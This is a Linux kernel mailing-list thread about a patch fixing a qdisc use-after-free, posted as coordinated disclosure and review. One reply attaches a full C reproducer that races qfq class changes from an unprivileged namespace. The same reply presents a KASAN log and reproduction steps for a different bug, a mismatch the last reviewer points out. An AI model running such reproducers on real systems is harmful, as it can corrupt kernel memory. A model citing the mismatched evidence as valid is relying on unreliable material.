* [PATCH net] net/sched: defer qdisc freeing after failed creation
@ 2026-08-05 10:25 David Lee
2026-08-05 18:00 ` Jamal Hadi Salim
0 siblings, 1 reply; 6+ messages in thread
From: David Lee @ 2026-08-05 10:25 UTC (permalink / raw)
To: davem, edumazet, kuba, pabeni, jhs, jiri
Cc: Kyle Zeng, Dominik 'Disconnect3d' Czarnota, horms, netdev,
linux-kernel, David Lee
From: Kyle Zeng <kylebot@openai.com>
A qdisc's init callback can publish state to RCU readers before
qdisc_create() completes. In particular, clsact_init() binds a populated
shared ingress block and installs an embedded mini_Qdisc in
dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
removes that pointer but qdisc_free() immediately releases the qdisc and
its per-CPU statistics. A reader that obtained the miniq before removal
can then access freed memory.
Add qdisc_free_rcu() and use it for the creation error path, matching
normal qdisc destruction. This keeps the embedded miniq and the per-CPU
statistics alive until pre-existing readers complete.
Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to share filter blocks")
Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Signed-off-by: David Lee <david.lee@trailofbits.com>
---
Bug found and triaged by OpenAI Security Research and
validated by Trail of Bits.
Trail of Bits has a reproducer for this bug that triggers a
KASAN use-after-free and can share if needed.
include/net/sch_generic.h | 1 +
net/sched/sch_api.c | 2 +-
net/sched/sch_generic.c | 7 ++++++-
3 files changed, 8 insertions(+), 2 deletions(-)
diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
index 45a1e8c782..d45442c926 100644
--- a/include/net/sch_generic.h
+++ b/include/net/sch_generic.h
@@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue,
const struct Qdisc_ops *ops,
struct netlink_ext_ack *extack);
void qdisc_free(struct Qdisc *qdisc);
+void qdisc_free_rcu(struct Qdisc *qdisc);
struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
const struct Qdisc_ops *ops, u32 parentid,
struct netlink_ext_ack *extack);
diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
index 668bcd60d1..041bd60072 100644
--- a/net/sched/sch_api.c
+++ b/net/sched/sch_api.c
@@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct net_device *dev,
err_out3:
qdisc_lock_uninit(sch, ops);
netdev_put(dev, &sch->dev_tracker);
- qdisc_free(sch);
+ qdisc_free_rcu(sch);
err_out2:
bpf_module_put(ops, ops->owner);
err_out:
diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
index ef2b4bf515..86d551fbab 100644
--- a/net/sched/sch_generic.c
+++ b/net/sched/sch_generic.c
@@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
qdisc_free(q);
}
+void qdisc_free_rcu(struct Qdisc *qdisc)
+{
+ call_rcu(&qdisc->rcu, qdisc_free_cb);
+}
+
static void __qdisc_destroy(struct Qdisc *qdisc)
{
const struct Qdisc_ops *ops = qdisc->ops;
@@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
trace_qdisc_destroy(qdisc);
- call_rcu(&qdisc->rcu, qdisc_free_cb);
+ qdisc_free_rcu(qdisc);
}
void qdisc_destroy(struct Qdisc *qdisc)
--
2.53.0
^ permalink raw reply related [flat|nested] 6+ messages in thread* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation 2026-08-05 10:25 [PATCH net] net/sched: defer qdisc freeing after failed creation David Lee @ 2026-08-05 18:00 ` Jamal Hadi Salim 2026-08-10 15:58 ` David Lee 0 siblings, 1 reply; 6+ messages in thread From: Jamal Hadi Salim @ 2026-08-05 18:00 UTC (permalink / raw) To: David Lee Cc: davem, edumazet, kuba, pabeni, jiri, Kyle Zeng, Dominik 'Disconnect3d' Czarnota, horms, netdev, linux-kernel On Wed, Aug 5, 2026 at 6:25 AM David Lee <david.lee@trailofbits.com> wrote: > > From: Kyle Zeng <kylebot@openai.com> > > A qdisc's init callback can publish state to RCU readers before > qdisc_create() completes. In particular, clsact_init() binds a populated > shared ingress block and installs an embedded mini_Qdisc in > dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind > removes that pointer but qdisc_free() immediately releases the qdisc and > its per-CPU statistics. A reader that obtained the miniq before removal > can then access freed memory. > > Add qdisc_free_rcu() and use it for the creation error path, matching > normal qdisc destruction. This keeps the embedded miniq and the per-CPU > statistics alive until pre-existing readers complete. > > Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to share filter blocks") > Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber > Signed-off-by: Kyle Zeng <kylebot@openai.com> > Signed-off-by: David Lee <david.lee@trailofbits.com> Thanks for finding the issue. But you should know the deal by now, send the poc - you can send it in private. Same goes for your other patch. cheers, jamal > --- > Bug found and triaged by OpenAI Security Research and > validated by Trail of Bits. > > Trail of Bits has a reproducer for this bug that triggers a > KASAN use-after-free and can share if needed. > > include/net/sch_generic.h | 1 + > net/sched/sch_api.c | 2 +- > net/sched/sch_generic.c | 7 ++++++- > 3 files changed, 8 insertions(+), 2 deletions(-) > > diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h > index 45a1e8c782..d45442c926 100644 > --- a/include/net/sch_generic.h > +++ b/include/net/sch_generic.h > @@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue, > const struct Qdisc_ops *ops, > struct netlink_ext_ack *extack); > void qdisc_free(struct Qdisc *qdisc); > +void qdisc_free_rcu(struct Qdisc *qdisc); > struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue, > const struct Qdisc_ops *ops, u32 parentid, > struct netlink_ext_ack *extack); > diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c > index 668bcd60d1..041bd60072 100644 > --- a/net/sched/sch_api.c > +++ b/net/sched/sch_api.c > @@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct net_device *dev, > err_out3: > qdisc_lock_uninit(sch, ops); > netdev_put(dev, &sch->dev_tracker); > - qdisc_free(sch); > + qdisc_free_rcu(sch); > err_out2: > bpf_module_put(ops, ops->owner); > err_out: > diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c > index ef2b4bf515..86d551fbab 100644 > --- a/net/sched/sch_generic.c > +++ b/net/sched/sch_generic.c > @@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head) > qdisc_free(q); > } > > +void qdisc_free_rcu(struct Qdisc *qdisc) > +{ > + call_rcu(&qdisc->rcu, qdisc_free_cb); > +} > + > static void __qdisc_destroy(struct Qdisc *qdisc) > { > const struct Qdisc_ops *ops = qdisc->ops; > @@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc) > > trace_qdisc_destroy(qdisc); > > - call_rcu(&qdisc->rcu, qdisc_free_cb); > + qdisc_free_rcu(qdisc); > } > > void qdisc_destroy(struct Qdisc *qdisc) > -- > 2.53.0 ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation 2026-08-05 18:00 ` Jamal Hadi Salim @ 2026-08-10 15:58 ` David Lee 2026-08-13 1:22 ` Jakub Kicinski 0 siblings, 1 reply; 6+ messages in thread From: David Lee @ 2026-08-10 15:58 UTC (permalink / raw) To: Jamal Hadi Salim Cc: davem, edumazet, kuba, pabeni, jiri, Kyle Zeng, Dominik 'Disconnect3d' Czarnota, horms, netdev, linux-kernel [-- Attachment #1.1: Type: text/plain, Size: 11478 bytes --] Hi Jamal, I have attached the reproducer and satnizer logs here: --- [ 230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver [ 231.667279] ================================================================== [ 231.667738] BUG: KASAN: stack-out-of-bounds in __ip_options_echo+0xdf7/0x1860 [ 231.667738] Write of size 255 at addr ffffc9000029f008 by task ksoftirqd/3/37 [ 231.667738] [ 231.667738] CPU: 3 UID: 0 PID: 37 Comm: ksoftirqd/3 Not tainted 7.2.0-rc3-kasan #1 PREEMPT(lazy) [ 231.667738] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 231.667738] Call Trace: [ 231.667738] <TASK> [ 231.667738] dump_stack_lvl+0x5f/0x90 [ 231.667738] print_report+0x15b/0x4ec [ 231.667738] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 231.667738] ? kasan_addr_to_slab+0xd/0x80 [ 231.667738] kasan_report+0xf2/0x130 [ 231.667738] ? __ip_options_echo+0xdf7/0x1860 [ 231.667738] ? __ip_options_echo+0xdf7/0x1860 [ 231.667738] kasan_check_range+0x13a/0x230 [ 231.667738] __asan_memcpy+0x3b/0x80 [ 231.667738] __ip_options_echo+0xdf7/0x1860 [ 231.667738] ? __pfx___ip_options_echo+0x10/0x10 [ 231.667738] __icmp_send+0x8c5/0x26e0 [ 231.667738] ? __pfx___icmp_send+0x10/0x10 [ 231.667738] ? sysvec_apic_timer_interrupt+0x54/0xd0 [ 231.667738] ? __pfx_nf_reject_fill_skb_dst+0x10/0x10 [nf_reject_ipv4] [ 231.667738] ? _raw_spin_lock+0x82/0xf0 [ 231.667738] ? irqentry_exit+0x1cd/0x7b0 [ 231.667738] nf_send_unreach+0x303/0x810 [nf_reject_ipv4] [ 231.667738] ? __pfx_nf_send_unreach+0x10/0x10 [nf_reject_ipv4] [ 231.667738] nft_reject_inet_eval+0x4cd/0x8a0 [nft_reject_inet] [ 231.667738] ? nft_do_chain+0x45a/0x1ae0 [nf_tables] [ 231.667738] nft_do_chain+0x25a/0x1ae0 [nf_tables] [ 231.667738] ? __pfx_tcp_v4_rcv+0x10/0x10 [ 231.667738] ? raw_local_deliver+0x3b9/0xc80 [ 231.667738] ? __pfx_nft_do_chain+0x10/0x10 [nf_tables] [ 231.667738] ? update_stack_state+0x26e/0x6a0 [ 231.667738] ? fib_validate_source+0x455/0x770 [ 231.667738] ? update_stack_state+0x26e/0x6a0 [ 231.667738] nft_do_chain_inet_ingress+0x44f/0x1420 [nf_tables] [ 231.667738] ? __pfx_nft_do_chain_inet_ingress+0x10/0x10 [nf_tables] [ 231.667738] ? unwind_next_frame+0x18a/0xac0 [ 231.667738] nf_hook_slow+0xaa/0x1f0 [ 231.667738] __netif_receive_skb_core.constprop.0+0x19b6/0x31e0 [ 231.667738] ? __pfx_read_hpet+0x10/0x10 [ 231.667738] ? ret_from_fork_asm+0x1a/0x30 [ 231.667738] ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10 [ 231.667738] ? clockevents_program_event+0x2bd/0x750 [ 231.667738] ? run_ksoftirqd+0x3a/0x60 [ 231.667738] ? kasan_save_stack+0x4e/0x70 [ 231.667738] ? __kasan_check_write+0x14/0x30 [ 231.667738] ? _raw_spin_lock+0x82/0xf0 [ 231.667738] ? __hrtimer_rearm_deferred+0x18a/0x520 [ 231.667738] __netif_receive_skb_list_core+0x314/0xb10 [ 231.667738] ? sysvec_apic_timer_interrupt+0x54/0xd0 [ 231.667738] ? __pfx___netif_receive_skb_list_core+0x10/0x10 [ 231.667738] ? kasan_save_track+0x27/0x70 [ 231.667738] netif_receive_skb_list_internal+0x5eb/0xde0 [ 231.667738] ? __kasan_check_write+0x14/0x30 [ 231.667738] ? __pfx_netif_receive_skb_list_internal+0x10/0x10 [ 231.667738] ? __pfx_napi_complete_done+0x10/0x10 [ 231.667738] ? __pfx_dql_completed+0x10/0x10 [ 231.667738] ? __kasan_check_read+0x11/0x20 [ 231.667738] ? dev_gro_receive+0x20d/0x3060 [ 231.667738] napi_complete_done+0x1b6/0x830 [ 231.667738] ? pick_eevdf+0x19b/0x7e0 [ 231.667738] ? __pfx_napi_complete_done+0x10/0x10 [ 231.667738] ? gro_receive_skb+0x292/0xa90 [ 231.667738] gro_cell_poll+0x120/0x1f0 [ 231.667738] __napi_poll+0xa3/0x4c0 [ 231.667738] net_rx_action+0x4c1/0xfb0 [ 231.667738] ? __pfx_net_rx_action+0x10/0x10 [ 231.667738] ? finish_task_switch.isra.0+0x1f1/0xc10 [ 231.667738] ? __switch_to+0x8d7/0xd40 [ 231.667738] handle_softirqs+0x1ae/0x670 [ 231.667738] ? __pfx_handle_softirqs+0x10/0x10 [ 231.667738] run_ksoftirqd+0x3a/0x60 [ 231.667738] smpboot_thread_fn+0x29d/0x6e0 [ 231.667738] ? __pfx_smpboot_thread_fn+0x10/0x10 [ 231.667738] kthread+0x333/0x420 [ 231.667738] ? calculate_sigpending+0x78/0xb0 [ 231.667738] ? __pfx_kthread+0x10/0x10 [ 231.667738] ret_from_fork+0x426/0x7c0 [ 231.667738] ? __pfx_ret_from_fork+0x10/0x10 [ 231.667738] ? native_load_gs_index+0x3f/0x60 [ 231.667738] ? __switch_to+0x8d7/0xd40 [ 231.667738] ? __switch_to_asm+0x39/0x70 [ 231.667738] ? __pfx_kthread+0x10/0x10 [ 231.667738] ret_from_fork_asm+0x1a/0x30 [ 231.667738] </TASK> [ 231.667738] [ 231.667738] The buggy address belongs to stack of task ksoftirqd/3/37 [ 231.667738] and is located at offset 376 in frame: [ 231.667738] __icmp_send+0x0/0x26e0 [ 231.667738] [ 231.667738] This frame has 7 objects: [ 231.667738] [32, 33) 'apply_ratelimit' [ 231.667738] [48, 49) '_inner_type' [ 231.667738] [64, 68) 'data' [ 231.667738] [80, 88) 'rt' [ 231.667738] [112, 168) 'ipc' [ 231.667738] [208, 264) 'fl4' [ 231.667738] [304, 416) 'icmp_param_u' [ 231.667738] [ 231.667738] The buggy address belongs to a vmalloc virtual mapping [ 231.667738] The buggy address belongs to the physical page: [ 231.667738] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x100c1f [ 231.667738] flags: 0x17ffffc0000000(node=0|zone=2|lastcpupid=0x1fffff) [ 231.667738] raw: 0017ffffc0000000 ffffea00040307c8 ffffea00040307c8 0000000000000000 [ 231.667738] raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000 [ 231.667738] page dumped because: kasan: bad access detected [ 231.667738] [ 231.667738] Memory state around the buggy address: [ 231.667738] ffffc9000029ef00: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00 00 00 [ 231.667738] ffffc9000029ef80: 00 00 00 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 [ 231.667738] >ffffc9000029f000: 00 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00 00 00 [ 231.667738] ^ [ 231.667738] ffffc9000029f080: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 f3 [ 231.667738] ffffc9000029f100: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 231.667738] ================================================================== [ 231.746888] Disabling lock debugging due to kernel taint --- ======== Affected Versions ======= Confirmed Version: * 6f5156d7a31a8c3b0f34af4675c9299c8f877cbe (post-v7.2-rc3) Required Configs for the Vulnerability: * CONFIG_INET * CONFIG_NETFILTER * CONFIG_NETFILTER_INGRESS * CONFIG_NF_TABLES * CONFIG_NF_TABLES_INET * CONFIG_NFT_REJECT * CONFIG_NFT_REJECT_INET * CONFIG_NF_REJECT_IPV4 Additional Configs for the Proof of Concept: * CONFIG_NET_IPIP * CONFIG_VETH * CONFIG_PACKET * CONFIG_USER_NS * CONFIG_NET_NS ========== Reproduction ========== Step 1: Build kernel commit `6f5156d7a31a8c3b0f34af4675c9299c8f877cbe` with KASAN and the configuration options listed above. Step 2: Build the attached `poc.c`: ~ gcc -static -O2 -Wall -Wextra -o poc poc.c ~ Step 3: Ensure the `nft_reject_inet`, `nf_reject_ipv4`, `ipip`, and `veth` modules are available or built into the kernel. Run `./poc` as an ordinary local user on a system that permits unprivileged user namespaces. The `ip` utility must be installed. The program creates its own user and network namespace, configures a veth pair and IPIP device, installs an inet-ingress ICMPX reject rule, and transmits the triggering packet. KASAN reports the stack-out-of-bounds write. Best regards, David On Wed, Aug 5, 2026 at 2:01 PM Jamal Hadi Salim <jhs@mojatatu.com> wrote: > On Wed, Aug 5, 2026 at 6:25 AM David Lee <david.lee@trailofbits.com> > wrote: > > > > From: Kyle Zeng <kylebot@openai.com> > > > > A qdisc's init callback can publish state to RCU readers before > > qdisc_create() completes. In particular, clsact_init() binds a populated > > shared ingress block and installs an embedded mini_Qdisc in > > dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind > > removes that pointer but qdisc_free() immediately releases the qdisc and > > its per-CPU statistics. A reader that obtained the miniq before removal > > can then access freed memory. > > > > Add qdisc_free_rcu() and use it for the creation error path, matching > > normal qdisc destruction. This keeps the embedded miniq and the per-CPU > > statistics alive until pre-existing readers complete. > > > > Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to > share filter blocks") > > Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber > > Signed-off-by: Kyle Zeng <kylebot@openai.com> > > Signed-off-by: David Lee <david.lee@trailofbits.com> > > Thanks for finding the issue. But you should know the deal by now, > send the poc - you can send it in private. Same goes for your other > patch. > > cheers, > jamal > > > --- > > Bug found and triaged by OpenAI Security Research and > > validated by Trail of Bits. > > > > Trail of Bits has a reproducer for this bug that triggers a > > KASAN use-after-free and can share if needed. > > > > include/net/sch_generic.h | 1 + > > net/sched/sch_api.c | 2 +- > > net/sched/sch_generic.c | 7 ++++++- > > 3 files changed, 8 insertions(+), 2 deletions(-) > > > > diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h > > index 45a1e8c782..d45442c926 100644 > > --- a/include/net/sch_generic.h > > +++ b/include/net/sch_generic.h > > @@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue > *dev_queue, > > const struct Qdisc_ops *ops, > > struct netlink_ext_ack *extack); > > void qdisc_free(struct Qdisc *qdisc); > > +void qdisc_free_rcu(struct Qdisc *qdisc); > > struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue, > > const struct Qdisc_ops *ops, u32 > parentid, > > struct netlink_ext_ack *extack); > > diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c > > index 668bcd60d1..041bd60072 100644 > > --- a/net/sched/sch_api.c > > +++ b/net/sched/sch_api.c > > @@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct > net_device *dev, > > err_out3: > > qdisc_lock_uninit(sch, ops); > > netdev_put(dev, &sch->dev_tracker); > > - qdisc_free(sch); > > + qdisc_free_rcu(sch); > > err_out2: > > bpf_module_put(ops, ops->owner); > > err_out: > > diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c > > index ef2b4bf515..86d551fbab 100644 > > --- a/net/sched/sch_generic.c > > +++ b/net/sched/sch_generic.c > > @@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head) > > qdisc_free(q); > > } > > > > +void qdisc_free_rcu(struct Qdisc *qdisc) > > +{ > > + call_rcu(&qdisc->rcu, qdisc_free_cb); > > +} > > + > > static void __qdisc_destroy(struct Qdisc *qdisc) > > { > > const struct Qdisc_ops *ops = qdisc->ops; > > @@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc) > > > > trace_qdisc_destroy(qdisc); > > > > - call_rcu(&qdisc->rcu, qdisc_free_cb); > > + qdisc_free_rcu(qdisc); > > } > > > > void qdisc_destroy(struct Qdisc *qdisc) > > -- > > 2.53.0 > [-- Attachment #1.2: Type: text/html, Size: 13263 bytes --] [-- Attachment #2: poc.c --] [-- Type: application/octet-stream, Size: 8441 bytes --] #define _GNU_SOURCE #include <arpa/inet.h> #include <errno.h> #include <linux/gen_stats.h> #include <linux/netlink.h> #include <linux/pkt_sched.h> #include <linux/rtnetlink.h> #include <net/if.h> #include <pthread.h> #include <sched.h> #include <stdarg.h> #include <stdatomic.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #define QDISC_HANDLE 0x10000U #define CLASS_HANDLE 0x10001U #define TARGET_LMAX 1500U #define UDP_PAYLOAD_LEN 1458 #define ITERATIONS 50000U #define MAX_DELAY 4096U struct nl_req { char buf[4096]; struct nlmsghdr *nlh; }; struct race_ctx { atomic_uint go; atomic_uint done; int sender; int receiver; char packet[UDP_PAYLOAD_LEN]; }; static uint32_t nl_seq; static void die(const char *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); fprintf(stderr, ": %s\n", strerror(errno)); exit(1); } static void expect_ok(int ret, const char *what) { if (ret < 0) { errno = -ret; die("%s", what); } } static void init_req(struct nl_req *req, uint16_t type, uint16_t flags, size_t payload_len) { memset(req, 0, sizeof(*req)); req->nlh = (struct nlmsghdr *)req->buf; req->nlh->nlmsg_len = NLMSG_LENGTH(payload_len); req->nlh->nlmsg_type = type; req->nlh->nlmsg_flags = flags; } static void addattr(struct nl_req *req, uint16_t type, const void *data, size_t len) { size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len); size_t attr_len = RTA_LENGTH(len); struct rtattr *rta; if (offset + RTA_ALIGN(attr_len) > sizeof(req->buf)) { errno = E2BIG; die("netlink attribute overflow"); } rta = (struct rtattr *)(req->buf + offset); rta->rta_type = type; rta->rta_len = attr_len; memcpy(RTA_DATA(rta), data, len); req->nlh->nlmsg_len = offset + RTA_ALIGN(attr_len); } static struct rtattr *nest_start(struct nl_req *req, uint16_t type) { size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len); struct rtattr *rta; if (offset + RTA_ALIGN(RTA_LENGTH(0)) > sizeof(req->buf)) { errno = E2BIG; die("netlink nest overflow"); } rta = (struct rtattr *)(req->buf + offset); rta->rta_type = type; rta->rta_len = RTA_LENGTH(0); req->nlh->nlmsg_len = offset + RTA_ALIGN(rta->rta_len); return rta; } static void nest_end(struct nl_req *req, struct rtattr *rta) { rta->rta_len = (char *)req->buf + req->nlh->nlmsg_len - (char *)rta; } static int nl_open(void) { struct sockaddr_nl addr = { .nl_family = AF_NETLINK, }; int fd; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) die("socket NETLINK_ROUTE"); if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("bind NETLINK_ROUTE"); return fd; } static int nl_talk(int fd, struct nl_req *req) { struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK, }; char buf[8192]; struct iovec iov; struct msghdr msg; ssize_t n; req->nlh->nlmsg_seq = ++nl_seq; iov.iov_base = req->nlh; iov.iov_len = req->nlh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = &nladdr; msg.msg_namelen = sizeof(nladdr); msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(fd, &msg, 0) < 0) return -errno; for (;;) { struct nlmsghdr *nlh; int rem; n = recv(fd, buf, sizeof(buf), 0); if (n < 0) return -errno; for (nlh = (struct nlmsghdr *)buf, rem = (int)n; NLMSG_OK(nlh, rem); nlh = NLMSG_NEXT(nlh, rem)) { struct nlmsgerr *err; if (nlh->nlmsg_seq != req->nlh->nlmsg_seq) continue; if (nlh->nlmsg_type != NLMSG_ERROR) continue; err = (struct nlmsgerr *)NLMSG_DATA(nlh); return err->error; } } } static int qdisc_add(int fd, int ifindex) { struct nl_req req; struct tcmsg *tcm; const char kind[] = "qfq"; init_req(&req, RTM_NEWQDISC, NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL, sizeof(*tcm)); tcm = NLMSG_DATA(req.nlh); tcm->tcm_family = AF_UNSPEC; tcm->tcm_ifindex = ifindex; tcm->tcm_handle = QDISC_HANDLE; tcm->tcm_parent = TC_H_ROOT; addattr(&req, TCA_KIND, kind, sizeof(kind)); return nl_talk(fd, &req); } static int class_change(int fd, int ifindex, uint32_t lmax, bool create, bool add_rate) { struct nl_req req; struct tcmsg *tcm; struct rtattr *opts; struct gnet_estimator est = { .interval = -2, .ewma_log = 1, }; uint32_t weight = 1; uint16_t flags = NLM_F_REQUEST | NLM_F_ACK; if (create) flags |= NLM_F_CREATE | NLM_F_EXCL; init_req(&req, RTM_NEWTCLASS, flags, sizeof(*tcm)); tcm = NLMSG_DATA(req.nlh); tcm->tcm_family = AF_UNSPEC; tcm->tcm_ifindex = ifindex; tcm->tcm_handle = CLASS_HANDLE; tcm->tcm_parent = QDISC_HANDLE; opts = nest_start(&req, TCA_OPTIONS); addattr(&req, TCA_QFQ_WEIGHT, &weight, sizeof(weight)); addattr(&req, TCA_QFQ_LMAX, &lmax, sizeof(lmax)); nest_end(&req, opts); if (add_rate) addattr(&req, TCA_RATE, &est, sizeof(est)); return nl_talk(fd, &req); } static void setup_namespace(void) { if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) die("unshare"); } static int setup_loopback(void) { struct ifreq ifr; int fd; int ifindex; fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) die("socket AF_INET"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1); if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) die("SIOCGIFFLAGS"); ifr.ifr_flags |= IFF_UP; if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) die("SIOCSIFFLAGS"); close(fd); ifindex = if_nametoindex("lo"); if (ifindex == 0) die("if_nametoindex"); return ifindex; } static int setup_udp(int *receiver) { struct sockaddr_in addr = { .sin_family = AF_INET, .sin_addr.s_addr = htonl(INADDR_LOOPBACK), .sin_port = 0, }; socklen_t addrlen = sizeof(addr); int sender; int priority = CLASS_HANDLE; *receiver = socket(AF_INET, SOCK_DGRAM, 0); if (*receiver < 0) die("receiver socket"); if (bind(*receiver, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("receiver bind"); if (getsockname(*receiver, (struct sockaddr *)&addr, &addrlen) < 0) die("receiver getsockname"); sender = socket(AF_INET, SOCK_DGRAM, 0); if (sender < 0) die("sender socket"); if (setsockopt(sender, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)) < 0) die("SO_PRIORITY"); if (connect(sender, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("sender connect"); return sender; } static void pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) die("sched_setaffinity"); } static void spin_delay(unsigned int count) { while (count--) asm volatile("pause" ::: "memory"); } static void *sender_thread(void *arg) { struct race_ctx *ctx = arg; unsigned int i; pin_cpu(1); for (i = 1; i <= ITERATIONS; i++) { char drain[2048]; while (atomic_load_explicit(&ctx->go, memory_order_acquire) != i) asm volatile("pause" ::: "memory"); spin_delay(i % MAX_DELAY); if (send(ctx->sender, ctx->packet, sizeof(ctx->packet), 0) < 0) die("send"); while (recv(ctx->receiver, drain, sizeof(drain), MSG_DONTWAIT) > 0) ; atomic_store_explicit(&ctx->done, i, memory_order_release); } return NULL; } int main(void) { struct race_ctx ctx; pthread_t thread; int nl; int ifindex; int ret; int thread_ret; unsigned int i; memset(&ctx, 0, sizeof(ctx)); memset(ctx.packet, 'A', sizeof(ctx.packet)); setup_namespace(); ifindex = setup_loopback(); nl = nl_open(); expect_ok(qdisc_add(nl, ifindex), "add qfq qdisc"); expect_ok(class_change(nl, ifindex, 512, true, false), "create qfq class"); ctx.sender = setup_udp(&ctx.receiver); pin_cpu(0); thread_ret = pthread_create(&thread, NULL, sender_thread, &ctx); if (thread_ret != 0) { errno = thread_ret; die("pthread_create"); } /* * The estimator attribute makes the post-snapshot part of * qfq_change_class() long enough for the packet enqueue on CPU 1 to * migrate the class to the requested (weight=1, lmax=1500) aggregate. */ for (i = 1; i <= ITERATIONS; i++) { expect_ok(class_change(nl, ifindex, 512, false, false), "reset qfq class"); atomic_store_explicit(&ctx.go, i, memory_order_release); ret = class_change(nl, ifindex, TARGET_LMAX, false, true); expect_ok(ret, "change qfq class"); while (atomic_load_explicit(&ctx.done, memory_order_acquire) != i) asm volatile("pause" ::: "memory"); } pthread_join(thread, NULL); close(ctx.sender); close(ctx.receiver); close(nl); return 0; } ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation 2026-08-10 15:58 ` David Lee @ 2026-08-13 1:22 ` Jakub Kicinski 2026-08-17 9:06 ` David Lee 0 siblings, 1 reply; 6+ messages in thread From: Jakub Kicinski @ 2026-08-13 1:22 UTC (permalink / raw) To: David Lee Cc: Jamal Hadi Salim, davem, edumazet, pabeni, jiri, Kyle Zeng, Dominik 'Disconnect3d' Czarnota, horms, netdev, linux-kernel On Tue, 11 Aug 2026 00:58:27 +0900 David Lee wrote: > [ 230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver > [ 231.667279] > ================================================================== > [ 231.667738] BUG: KASAN: stack-out-of-bounds in > __ip_options_echo+0xdf7/0x1860 I'm struggling to see how this is a repro for the qdisc lifecycle bug In any case -- if the fix is really correct and there's some real repro shared off list - I think you're deleting the last caller of qdisc_free() so you should inline it into qdisc_free_cb() So patch as is needs to be refactored. But please don't repost just to refactor, we need a convincing repro first. ^ permalink raw reply [flat|nested] 6+ messages in thread
